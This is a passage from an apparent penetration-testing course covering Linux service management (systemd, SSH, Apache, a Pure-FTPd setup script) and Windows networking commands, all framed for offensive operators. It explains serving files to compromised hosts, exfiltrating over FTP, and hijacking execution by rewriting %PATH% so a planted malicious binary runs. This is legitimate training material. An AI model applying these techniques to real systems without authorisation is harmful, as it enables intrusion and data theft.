Process: 64702 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 64703 (sshd)
Tasks: 1 (limit: 4631)
Memory: 1.0M
CPU: 17ms
CGroup: /system.slice/ssh.service
└─64703 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Jul 22 11:02:55 kali systemd[1]: Starting OpenBSD Secure Shell server...
Jul 22 11:02:55 kali sshd[64703]: Server listening on 0.0.0.0 port 22.
Jul 22 11:02:55 kali sshd[64703]: Server listening on :: port 22.
Jul 22 11:02:55 kali systemd[1]: Started OpenBSD Secure Shell server.
Listing 34 - The SSH service is running
The status is "active (running)", as verified in the listing above.
Let's stop the service now.
kali@kali:~$ sudo service ssh stop
Listing 35 - The SSH service is stopped
The service is now stopped, again with no output to the terminal
window.
This process is very similar to the SSH script shown in the
/etc/init.d/ directory previously. service is considered to
be a legacy command, so it may become less common to find SysV Init
systems in the wild.
This execution of the service utility is a backwards compatible
redirection to the next topic in this section: Systemd. We covered
rulevels, init, services in /etc/init.d/ and how to work
with those, and the service utility.
Most Linux systems today are using a service startup system called
Systemd.[425] With this usage, it is important to understand
how the services are managed. This section will cover how to determine
if a Linux system is using Systemd, how to work with system
services, why Linux moved away from SysV Init, and the similarities
between the two.
Before moving into the details of Systemd, let's figure out if Kali
is using it. To do this, we can examine the first process that
was created on the Linux host. We can do this with the ps 1
command.
kali@kali:~$ ps 1
PID TTY STAT TIME COMMAND
1 ? Ss 0:05 /sbin/init splash
Listing 36 - The first process of the system shows as /sbin/init
/sbin/init is historically a process that is used by SysV Init.
Let's use the file command to determine what this file is.
kali@kali:~$ file /sbin/init
/sbin/init: symbolic link to /lib/systemd/systemd
Listing 37 - The /sbin/init file is a symbolic link to /lib/systemd/systemd
In the listing above, we can determine that our Kali host
is using Systemd since /sbin/init is a symbolic link to
/lib/systemd/systemd and is the first process used to initialize
the system on startup.
Systemd uses a utility called systemctl to control it. This is
very similar to the service utility, but the syntax is reversed for
the service-name and action. Let's take SSH as an example and
start this on our host with systemctl.
kali@kali:~$ sudo systemctl start ssh
[sudo] password for kali:
Listing 38 - The ssh service is started with systemctl
Since there wasn't an error output to our screen, we can expect
that the SSH service is up and running. There are several other
actions[426] that can be taken with the systemctl
utility, as well.
stop will stop a service.
status will show the running status of a service.
reload will reload the configuration files for a service without the
need to stop the service.
enable/disable will mark the service to run at a system boot or not.
Let's verify the status of the SSH service.
kali@kali:~$ systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; disabled; vendor preset: disabled)
Active: active (running) since Thu 2021-07-22 12:52:23 MST; 1h 2min ago
Docs: man:sshd(8)
man:sshd_config(5)
Process: 65249 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Process: 65292 ExecReload=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Process: 65293 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Main PID: 65250 (sshd)
Tasks: 1 (limit: 4631)
Memory: 1.1M
CPU: 42ms
CGroup: /system.slice/ssh.service
└─65250 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Listing 39 - ssh is currently loaded and running
We verified that SSH is currently running on our Kali host.
In SysV Init, we covered the concept of the 7 runlevels. We also
examined how runlevels were handled in the /etc/rc#.d/ directories
and how the scripts would execute in alphanumeric order.
Systemd improved upon this design through the utilization of
target-units.[427] Target-units are very similar in
concept to runlevels, in that they define what services run at each
target-unit level. Unlike runlevels, there is more flexibility to
define more than 7 classifications.
Let's display our Kali host's target-units with systemctl
list-units.
kali@kali:~$ sudo systemctl list-units --type=target --all
UNIT LOAD ACTIVE SUB DESCRIPTION
basic.target loaded active active Basic System
blockdev@dev-disk-by\x2duuid-7f8e9fc5\x2db150\x2d4c9f\x2db1c5\x2db7928fe02ed8.target loaded inactive dead Block Device Preparation for /dev/disk/by-uuid/7f8e9fc5-b150-4c9f-b1c5-b7928fe02ed8
blockdev@dev-dm\x2d1.target loaded inactive dead Block Device Preparation for /dev/dm-1
blockdev@dev-mapper-RedHatAugust\x2d\x2dvg\x2droot.target loaded inactive dead Block Device Preparation for /dev/mapper/RedHatAugust--vg-root
blockdev@dev-mapper-RedHatAugust\x2d\x2dvg\x2dswap_1.target loaded inactive dead Block Device Preparation for /dev/mapper/RedHatAugust--vg-swap_1
blockdev@dev-sda1.target loaded inactive dead Block Device Preparation for /dev/sda1
cryptsetup.target loaded active active Local Encrypted Volumes
emergency.target loaded inactive dead Emergency Mode
first-boot-complete.target loaded inactive dead First Boot Complete
getty-pre.target loaded inactive dead Login Prompts (Pre)
getty.target loaded active active Login Prompts
graphical.target loaded active active Graphical Interface
local-fs-pre.target loaded active active Local File Systems (Pre)
local-fs.target loaded active active Local File Systems
multi-user.target loaded active active Multi-User System
network-online.target loaded active active Network is Online
network-pre.target loaded inactive dead Network (Pre)
network.target loaded active active Network
nfs-client.target loaded active active NFS client services
nss-user-lookup.target loaded inactive dead User and Group Name Lookups
paths.target loaded active active Paths
remote-fs-pre.target loaded active active Remote File Systems (Pre)
remote-fs.target loaded active active Remote File Systems
rescue.target loaded inactive dead Rescue Mode
shutdown.target loaded inactive dead Shutdown
slices.target loaded active active Slices
sockets.target loaded active active Sockets
sound.target loaded active active Sound Card
stunnel.target loaded active active TLS tunnels for network services - per-config-file target
swap.target loaded active active Swap
sysinit.target loaded active active System Initialization
time-set.target loaded inactive dead System Time Set
time-sync.target loaded inactive dead System Time Synchronized
timers.target loaded active active Timers
umount.target loaded inactive dead Unmount All Filesystems
LOAD = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB = The low-level unit activation state, values depend on unit type.
35 loaded units listed.
To show all installed unit files use 'systemctl list-unit-files'.
Listing 40 - The target-units on a default installation of Kali
In the case of the listing above, there are currently 35 loaded units.
This is much more dynamic than the limited 7 in SysV Init runlevels.
There are also three categorizations for each target-unit: LOAD,
ACTIVE, and SUB.
LOAD specifies if a target-unit is loaded in the Linux host.
This means the system can read the unit configuration file. If
it is loaded, it can be called on to change the target-unit
behavior of the system. This can be used to take actions such as
enabling/disabling network services on a system.
ACTIVE specifies if a particular target-unit is currently active
or not. This does not necessarily mean that a set of services is
running under that target, but the target-unit was run if it says
active.
SUB specifies the status of the services running under a
target-unit. Some service types can run a single time and are not
continuous. This may show as exited. If a service is continuous
and running, active will be shown under this field. If the process
associated with the service is not running, dead will be shown.
The benefit of target-units is that they can be run in parallel
and isn't a choice of one or the other. They do not need to be
started or stopped in a sequenced order, like the /etc/rc#.d/
directories. There's also an advantage of supplying dependencies
(conditions that need to be met before an operation) within the target
services. These will automatically start the dependencies or exit
with an error if the dependency cannot be met. The target-units and
services can be found in /usr/lib/systemd/system/. Let's
analyze one of the service files in this directory.
kali@kali:~$ cat /usr/lib/systemd/system/ssh.service
[Unit]
Description=OpenBSD Secure Shell server
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run
[Service]
EnvironmentFile=-/etc/default/ssh
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/usr/sbin/sshd -t
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure
RestartPreventExitStatus=255
Type=notify
RuntimeDirectory=sshd
RuntimeDirectoryMode=0755
[Install]
WantedBy=multi-user.target
Alias=sshd.service
Listing 41 - This is the ssh.service file for systemd that defines the Unit, Service, and where it Installs
There are three highlighted lines in the listing above. The After
line is how Systemd handles dependencies in services. A Before
line could also be added if this service needed to start before
another target-unit.
The ExecStart line is the script execution to start the service.
The WantedBy line defines which target this service should be
included in. In the case of the listing example, the SSH service is
included in the multi-user.target target-unit.
Despite there being so many target-units, there is still a
correlation between runlevels and target-units.
kali@kali:~$ ls -al /lib/systemd/system/runlevel*
lrwxrwxrwx 1 root root 15 Apr 12 11:21 /lib/systemd/system/runlevel0.target -> poweroff.target
lrwxrwxrwx 1 root root 13 Apr 12 11:21 /lib/systemd/system/runlevel1.target -> rescue.target
lrwxrwxrwx 1 root root 17 Apr 12 11:21 /lib/systemd/system/runlevel2.target -> multi-user.target
lrwxrwxrwx 1 root root 17 Apr 12 11:21 /lib/systemd/system/runlevel3.target -> multi-user.target
lrwxrwxrwx 1 root root 17 Apr 12 11:21 /lib/systemd/system/runlevel4.target -> multi-user.target
lrwxrwxrwx 1 root root 16 Apr 12 11:21 /lib/systemd/system/runlevel5.target -> graphical.target
lrwxrwxrwx 1 root root 13 Apr 12 11:21 /lib/systemd/system/runlevel6.target -> reboot.target
...
Listing 42 - Relation between runlevels and target-units
The runlevel targets are associated with their respective
target-units that best correlate the legacy SysV Init system to
Systemd.
There is much more to Systemd than what we covered here. We covered
services and target-units, but there are other types such as mount,
link, socket, device, and more. These are not as important to
understand as the concept of services and how it relates to the legacy
SysV Init system.
With this knowledge, we're able to work with services on a
Systemd-based system. We're also be able to determine which service
files are associated with which target-unit and the order in which
those services will start.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 15 minutes to complete.
The Secure Shell (SSH)[428] service is most commonly used
to remotely access a computer, using a secure, encrypted protocol. The
SSH service is TCP-based and listens by default on port 22. To start
the SSH service in Kali, we type the following command into a Kali
terminal.
kali@kali:~# sudo systemctl start ssh
[sudo] password for kali:
Listing 43 - The SSH Server is started
We can verify that the SSH service is running and listening on TCP
port 22 by using the netstat command and piping the output
into grep to search the output for sshd.
netstat is deprecated, and has been replaced with ss.
Some Linux distributions, such as Kali, still include netstat for
convenience.
kali@kali:~# sudo netstat -antp|grep sshd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 25035/sshd
tcp6 0 0 :::22 :::* LISTEN 25035/sshd
Listing 44 - sshd is running on port 22
If, like many users, we want to have the SSH service start
automatically at boot time, we need to enable it using systemctl.
kali@kali:~$ sudo systemctl enable ssh
Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
Created symlink /etc/systemd/system/sshd.service → /lib/systemd/system/ssh.service.
Created symlink /etc/systemd/system/multi-user.target.wants/ssh.service → /lib/systemd/system/ssh.service.
Listing 45 - ssh will run on boot
With the enable action run for the SSH service, SSH will be
started every time the system is turned on.
Unless ssh is used very often, we advise that the service be started
and stopped as needed. As such, we can disable the service to prevent
it from starting at boot time.
kali@kali:~$ sudo systemctl disable ssh
Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable ssh
Removed /etc/systemd/system/multi-user.target.wants/ssh.service.
Removed /etc/systemd/system/sshd.service.
Listing 46 - ssh will not run on boot
With the service disabled, SSH will no longer automatically start at
boot-time.
Now that we know how to start the ssh service, we can use it to gain
access to our host from other machines. SSH is a very common and
useful utility.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 15 minutes to complete.
The HTTP service can come in handy during a penetration test, either
for hosting a site, or providing a platform for downloading files to
a victim machine. The HTTP service is TCP-based and listens by default
on port 80. To start the HTTP service in Kali, we type the following
command into a terminal:
kali@kali:~$ sudo systemctl start apache2
[sudo] password for kali:
Listing 47 - Apache2 is started
As we did with the SSH service, we can verify that the HTTP service is
running and listening on TCP port 80 by using netstat and grep
once again.
kali@kali:~$ sudo netstat -antp | grep apache
tcp6 0 0 :::80 :::* LISTEN 4378/apache2
Listing 48 - Apache2 is running on port 80
The apache2 service is currently listening on port 80.
There is another common way to create a temporary web server
that uses Python. It is useful to have a temporary solution to run
on demand and not worry about exposing ports on our Kali host that we
don't need. Before we can show that on port 80, we'll need to stop the
apache2 service.
kali@kali:~$ sudo systemctl stop apache2
[sudo] password for kali:
Listing 49 - Apache2 is stopped
Now that we won't have a port conflict on port 80, let's use the
http.server Python module to start a web server.
kali@kali:~$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Listing 50 - The HTTP server is being hosted on port 80
The terminal session hangs after the execution of this command. This
is due to the application currently being run. When we are finished
with our web service needs, we can simply enter C+c.
Now that we covered two ways to start a web server, we can use
this on penetration test engagements to download files into a
compromised host.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 15 minutes to complete.
The File Transer Protocol (FTP)[415-1] is a great way to quickly
transfer files from one host to another. This can be used to share
files on the same network or even exfiltrate files from compromised
machines. Let's create a simple FTP server on our Kali host.
Let's quickly install the Pure-FTPd server on our Kali attack machine.
kali@kali:~$ sudo apt update && sudo apt install pure-ftpd
Listing 51 - Installing Pure-FTP on Kali
After executing the above command, pure-ftpd will be installed.
Before any clients can connect to our FTP server, we need to create
a new user for Pure-FTPd. The following Bash script will automate
user creation for us:
kali@kali:~$ cat ./setup-ftp.sh
#!/bin/bash
sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
sudo pure-pw useradd offsec -u ftpuser -d /ftphome
sudo pure-pw mkdb
sudo cd /etc/pure-ftpd/auth/
sudo ln -s ../conf/PureDB 60pdb
sudo mkdir -p /ftphome
sudo chown -R ftpuser:ftpgroup /ftphome/
sudo systemctl restart pure-ftpd
Listing 52 - Bash script to setup Pure-FTP on Kali
The script creates the necessary group, user, password, database,
symbolic links, directory to serve the files, and restarts the
service.
We will make the script executable, then run it.
kali@kali:~$ chmod +x setup-ftp.sh
kali@kali:~$ sudo ./setup-ftp.sh
Password:
Enter it again:
Restarting ftp server
Listing 53 - Setting up and starting Pure-FTP on Kali
Now that we have our FTP server set up, we can leverage this with
the username and password we added when creating the server. As
always, we'll only run this service when needed and stop it when we
don't.
We covered a large amount of detail related to Linux networking.
It's time we put our knowledge to the test. With everything that was
covered, we should be able to complete the following scenario. This
should serve as a good assessment of our knowledge in this area. If a
certain point is difficult, be sure to check the hint and review that
area of the content.
In this Module, we will cover the following Learning Units:
In this Module, we will cover Windows commands related to networking
and services. There are many reasons to learn and understand
Windows networking in particular. The most significant reason is the
popularity of Windows machines in the workplace and their ubiquity
in many enterprise networks. An information security professional
who doesn't know their way around a Windows network is operating at a
significant disadvantage.
One quick note before we continue: we will be discussing services
as we proceed. From a host perspective, services[429] are
programs that run in the background. Certain services are necessary
for computers to run properly, so we will exercise some caution as we
explore and interact with them.
While the majority of the topics covered in this lesson can be
manipulated through the Graphical User Interface (GUI), we will
instead, focus on using the Command Line Interface (CLI).
First of all, the CLI gives us the ability to do a lot more in terms
of interacting with the local or remote machine. Second, we might not
always have GUI access. As a general rule, it is more likely that we
will have CLI access than GUI access to a remote machine, especially
as an offensive operator. A third advantage of using CLI over GUI is
when dealing with more than one machine. For example, if there are
200 devices on the network and our task is to gather the IP addresses
of all those machines, doing it manually through the GUI would take a
very long time. The CLI allows us to automate and script such actions.
This Learning Unit covers the following Learning Objectives:
In this Learning Unit, we will cover some of the most important
networking utilities like ping, tracert, arp, netstat,
nbtstat, nslookup, ipconfig, route, and more. These utilities
provide us with the ability to either gather information or interact
with the network settings of a Windows device.
To begin, we are going to use the Remote Desktop Protocol (RDP)
to connect to the remote Windows machine. From your Kali VM, open
up a terminal and run the following command: rdesktop [IP
address].
The IP address within the brackets will be the IP
address of the Windows VM, and it is going to be different for every
student. For example, the command should look something like this
rdesktop 1.2.3.4, but your IP address will correspond to your
specific Windows exercise VM IP address.
kali@kali:~$ rdesktop 1.1.1.1
Listing 1 - Connecting to Windows VM using rdesktop command
Let's now open up a CLI terminal. There are many ways to do this, but
we are going to cover two different methods. Some of these commands
may require elevated privileges that a regular user might not have.
To keep this simple, we are going to use the CLI terminal with
administrative privileges. Depending on the computer settings, we may
need to provide the administrator password.
There are two ways to do this as described below.
The first way is to open up a Windows explorer and browse to
C:\Windows\System32. There, we find the executable named
conhost.exe, right-click it, and select Run as administrator.
The second method is to click the Start menu at the bottom left
corner of the screen. We type "command prompt", which will activate
the search function within Windows. Then, we right-click on Command
Prompt and select Run as administrator.
Both techniques open the CLI terminal, which should look similar to
this.
This is where we will interact with the system using the network
utilities. In the next sections, we will break down the main features
for each utility, followed by a few exercises.
These utilities are very powerful and have too many command options
to cover. After becoming comfortable with the basics, it's important
to experiment and learn about additional features within each command.
There are many excellent resources online[430] for students
who want to learn more.
Some of the required tools will also be located in a folder called
Tools on the "offensive" user's Desktop.
We'll start our journey by learning commands that can help us gain
information about the network. One of the most frequently-used
commands is ipconfig,[431] which allows us to view specific
network settings within each adapter. We can inspect our IPv4 and IPv6
address, the subnet mask, and the default gateway.
C:\WINDOWS\system32>ipconfig /all
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : localdomain
IPv4 Address. . . . . . . . . . . : 192.168.100.85
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.250
...
Listing 2 - Running the ipconfig command
Running ipconfig with the /all parameter displays
the full configuration information. Here we learn that the last octet
of our IP address ends in 85.
If we are on a network where the IPv4 address of our device is
assigned from a DHCP[432] server, we can also use ipconfig to
release and renew our IP address.
We will demonstrate these commands, but performing these actions
while connected to the Offsec Labs VPN could result in lab network
disruption.
The /release parameter sends a DHCP Release message to the
DHCP server, releasing the IPv4 address.
C:\WINDOWS\system32>ipconfig /release "Ethernet adapter Ethernet"
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 0.0.0.0
Subnet Mask . . . . . . . . . . . : 0.0.0.0
Default Gateway . . . . . . . . . :
Listing 3 - Running the ipconfig command with the release parameter
We can then run ipconfig with the /renew parameter
to request a new IP address.
C:\WINDOWS\system32>ipconfig /renew "Ethernet adapter Ethernet"
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : localdomain
IPv4 Address. . . . . . . . . . . : 192.168.100.100
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.250
Listing 4 - Running the ipconfig command with the renew parameter
The /renew parameter will request an IP address from the DHCP
server. The renewed IP address will depend on the configuration of the
DHCP server. In this case, the last octet changed from 85 to 100.
In all of these examples so far, we specified an adapter in our
release and renew commands. In order to apply those commands to all
adapters, we simply omit the adapter argument.
C:\WINDOWS\system32>ipconfig /release
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 0.0.0.0
Subnet Mask . . . . . . . . . . . : 0.0.0.0
Default Gateway . . . . . . . . . :
Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 0.0.0.0
Subnet Mask . . . . . . . . . . . : 0.0.0.0
Default Gateway . . . . . . . . . :
C:\WINDOWS\system32>ipconfig /renew
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : localdomain
IPv4 Address. . . . . . . . . . . : 192.168.100.9
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.250
Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix . : localdomain
IPv4 Address. . . . . . . . . . . : 192.168.100.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.250
Listing 5 - renewing IP addresses without specifying adapters
This time, all of the connected network adapters had their IP
addresses released and renewed.
As the name might suggest, we can also use the ipconfig
command with the /displaydns parameter to display the
DNS[433] settings.
C:\WINDOWS\system32>ipconfig /displaydns
Windows IP Configuration
www.google.com
----------------------------------------
Record Name . . . . . : www.offsec.com
Record Type . . . . . : 1
Time To Live . . . . : 276
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . . . : 192.124.249.5
Listing 6 - reviewing DNS settings
Another useful option is flushing the DNS cache, clearing the entries
that show hostname to IP address. While the DNS cache helps you
access certain web data faster, flushing it can help you troubleshoot
web-related connections, among other things.
Here, we'll use ipconfig to clear the DNS cache with
/flushdns. We'll then run ipconfig /displaydns
confirm that our DNS cache was indeed flushed.
C:\WINDOWS\system32>ipconfig /flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
C:\WINDOWS\system32>ipconfig /displaydns
Windows IP Configuration
Listing 7 - flushing DNS cache
Another great information gathering command is
systeminfo.[434] This command displays information about
the operating system to include hardware properties.
C:\WINDOWS\system32>systeminfo
Host Name: hostname
OS Name: Microsoft Windows 10 Home
OS Version: 10.0.19042 N/A Build 19042
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: admin
Registered Organization:
Product ID: #####-#####-#####-#####
Original Install Date: 5/2/2021, 11:59:36 AM
System Boot Time: 7/17/2021, 12:26:04 AM
System Manufacturer:
System Model: All Series
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 60 Stepping 3 GenuineIntel ~4001 Mhz
BIOS Version: American Megatrends Inc. 1202, 6/17/2014
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory: 16,259 MB
Available Physical Memory: 7,250 MB
Virtual Memory: Max Size: 32,643 MB
Virtual Memory: Available: 21,513 MB
Virtual Memory: In Use: 11,130 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\server
Hotfix(s): 5 Hotfix(s) Installed.
[01]: KB5003537
[02]: KB4562830
[03]: KB4580325
[04]: KB5004237
[05]: KB5003742
...
Listing 8 - Running the systeminfo command
From an offensive perspective, systeminfo is useful because the
information gathered here may be enough to identify a vulnerability
and exploit it.
One interesting and useful feature of systeminfo is that it allows us
to view configuration information of a remote computer. In some cases,
we may have to specify the domain, username, and password. All of this is
built into the systeminfo utility. Let's review a quick example.
C:\WINDOWS\system32>systeminfo /s computer1 /u blue\domain1 /p password
Host Name: hostname
OS Name: Microsoft Windows 10 Home
OS Version: 10.0.19042 N/A Build 19042
...
Listing 9 - Connecting to a remote computer and running systeminfo
Let's review the individual parts of this command. First, the
/s parameter denotes the computer name. In this case, our
computer is named "computer1". The /u parameter is for
username and domain. In this case, our user is "blue" and our domain
is "domain1". Finally, /p is for password. In this case, the
user "blue" has the password "password".
The final command covered in this section is set,[435] which we
can use to inspect and change Windows environment variables.[436]
Environment variables are values that impact how certain programs
work. For Windows systems, to identify them as environment
variables, they are denoted with a percent sign (%) before and
after.
If we run the set command without any parameters, we can
inspect all current environment variables.
C:\WINDOWS\system32>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\user\AppData\Roaming
asl.log=Destination=file
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=Admin_Server
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Users\user
LOCALAPPDATA=C:\Users\user\AppData\Local
LOGONSERVER=\\server
NUMBER_OF_PROCESSORS=8
OneDrive=C:\Users\user\OneDrive
OS=Windows_NT
...
Listing 10 - Running the set command
The output shows a long list of variables and the values associated
with them. Note that in the output, the percent signs before and after
the variable name are not included.
Let's quickly explore how this might be useful. One very well-known
Windows environment variable is %PATH%. Whenever we run a command in
the CLI, we don't always need to be in the same working directory as
the command itself; instead, the command interpreter will search for
the binary. The locations where it searches for are the values within
the %PATH% variable.
We can run the ipconfig command from C:\,
even though ipconfig.exe is located in
C:\Windows\system32. When we run the command, the CLI looks
for the binary in folders denoted by the %PATH% variable.
We can run set PATH to display the values for this specific
variable.
C:\WINDOWS\system32>set PATH
Path=C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Windows\system32 ;
Listing 11 - Running the set path command
The output indicates that this variable has multiple values
delimited by a semicolon (;). The %PATH% variable can
have multiple values and, as we might expect, one of them is
C:\Windows\system32.
A real-world example of how "set" can be used by offensive operators
is an attack known as "Hijack Execution Flow". Essentially, an
attacker might manipulate the %PATH% environment variable so that
their malicious program is executed instead of the normal executable.
For example, imagine if we were able to manipulate the %PATH%
environment variable to only have a value of C:\Windows. We
could then place a malicious executable named ipconfig.exe
there. When someone runs the ipconfig command, the system
would run our malicious binary located in C:\Windows
instead of the normal, expected program located in
C:\Windows\system32. This is because we forced the system
to search for programs in a different path than what it normally uses.
For example, if we run the command set path=C:\Windows
followed by set path to display our changes, we get the
following:
C:\WINDOWS\system32>set path=c:\Windows
C:\WINDOWS\system32>set path
Path=C:\Windows ;
Listing 12 - Manipulating path environment variable
What we have done is change the path variable from the default value
to C:\windows. A quick note: the set
command will temporarily change environment variables. The current
shell or command prompt window that we have open is running as a
process. When we use set to add, delete, or
change environment variables, those changes only exist as long as the
process we are currently in exists.
To make non-volatile or permanent changes to environment variables,
we must use the setx[437] command instead. The only caveat to
using setx is that changes won't be visible from our current
shell or command prompt. It is recommended to review the setx page
from Microsoft, it does an excellent job explaining the different
parameters, such as how to create a system variable or a local
variable. Here we observe the beginning of the help utility.
C:\Users\offensive>setx /?
SetX has three ways of working:
Syntax 1:
SETX [/S system [/U [domain\]user [/P [password]]]] var value [/M]
Syntax 2:
SETX [/S system [/U [domain\]user [/P [password]]]] var /K regpath [/M]
Syntax 3:
SETX [/S system [/U [domain\]user [/P [password]]]]
/F file {var {/A x,y | /R x,y string}[/M] | /X} [/D delimiters]
Description:
Creates or modifies environment variables in the user or system
environment. Can set variables based on arguments, regkeys or
file input.
Listing 13 - Viewing Setx Help
If we were to add a new environment variable with setx, we
would have to open up a new command prompt and run set to
view those changes.
Earlier, we learned that the ipconfig /all command displays all
the detailed TCP/IP information for the network adapters. This
is important because we may be working with multiple networks and
network adapters. For example, the device may have multiple Network
Interface Controllers (NICs)[438] or are dual-homed. Additionally,
we may have a VPN connection or are running multiple VMs on the host
computer.
One device can have multiple network interfaces and it is critical to
be able to differentiate between them. The ipconfig command can help
identify the details of the specific network interface that we want to
work with at that time.
Let’s pivot to two more commands that show active connections:
netstat and arp. The netstat[439] command not only shows
the IP address of the source, but also displays things like the
destination IP, source and destination port, connection state, and
layers 3 and 4 protocol statistics. If we want to view what machines
are connected with our current machine, this is an easy and quick way
to do it.
Below, we run netstat with a to display listening
ports, n to show addresses numerically, and o to
display a Process ID (PID) for each connection.
C:\WINDOWS\system32>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 1120
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:902 0.0.0.0:0 LISTENING 4212
TCP 0.0.0.0:912 0.0.0.0:0 LISTENING 4212
TCP 0.0.0.0:1536 0.0.0.0:0 LISTENING 956
TCP 0.0.0.0:1537 0.0.0.0:0 LISTENING 864
TCP 0.0.0.0:1538 0.0.0.0:0 LISTENING 1544
TCP 0.0.0.0:1539 0.0.0.0:0 LISTENING 1808
TCP 0.0.0.0:1541 0.0.0.0:0 LISTENING 3500
TCP 0.0.0.0:1543 0.0.0.0:0 LISTENING 4860
TCP 0.0.0.0:1599 0.0.0.0:0 LISTENING 936
TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING 4860
TCP 0.0.0.0:2103 0.0.0.0:0 LISTENING 4860
TCP 0.0.0.0:2105 0.0.0.0:0 LISTENING 4860
TCP 0.0.0.0:2107 0.0.0.0:0 LISTENING 4860
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 604
Listing 14 - Running the netstat command
Netstat displays all of the requested information in a table.
It is highly recommended to review the netstat /? page.
C:\Windows\system32>netstat /?
Displays protocol statistics and current TCP/IP network connections.
NETSTAT [-a] [-b] [-e] [-f] [-n] [-o] [-p proto] [-r] [-s] [-x] [-t] [interval]
-a Displays all connections and listening ports.
...
Listing 15 - Running the netstat help command
We have only touched upon the different parameters available with
Netstat. It is highly recommended to review this. It will help you not
only in the future but in the questions below.
The arp[440] command lets us view and manipulate Address
Resolution Protocol (ARP)[441] cache entries. Running arp
-a displays ARP entries for all network interfaces.
C:\WINDOWS\system32>arp -a
Interface: 192.168.100.85 --- 0x5
Internet Address Physical Address Type
192.168.100.250 20-f3-75-d3-60-d0 dynamic
192.168.100.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static
Listing 16 - Running the arp -a command
Let's examine some routing-specific commands like route, ping,
tracert, and pathping. With the route[442] command, we can
display and change entries within the routing table. The other three
commands are used as diagnostic tools to troubleshoot the connections
between the source and destination device.
Do note that these three tools rely on sending Internet Control
Message Protocol (ICMP)[443] echo request messages between the
devices. ICMP traffic could be blocked, but traffic on other protocols
between the source and destination devices could still traverse the
network.
Generally, we will use these three commands to either identify if
a host exists or if our source machine can reach it. All of this
is important to know, because if a destination machine is deemed
unreachable or a host is identified as not existing, it may be a false
positive.
In cases where ICMP traffic is blocked, it is recommended that
other methods of testing the connection between source and destination
device are used.
First, let’s run the route command with the print
parameter.
C:\WINDOWS\system32>route print
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.100.250 192.168.100.85 25
0.0.0.0 0.0.0.0 10.5.0.0 10.5.0.2 0
10.5.0.0 255.255.0.0 10.5.0.0 10.5.0.2 0
10.5.0.2 255.255.255.255 On-link 10.5.0.2 256
127.0.0.0 255.0.0.0 On-link 127.0.0.1 331
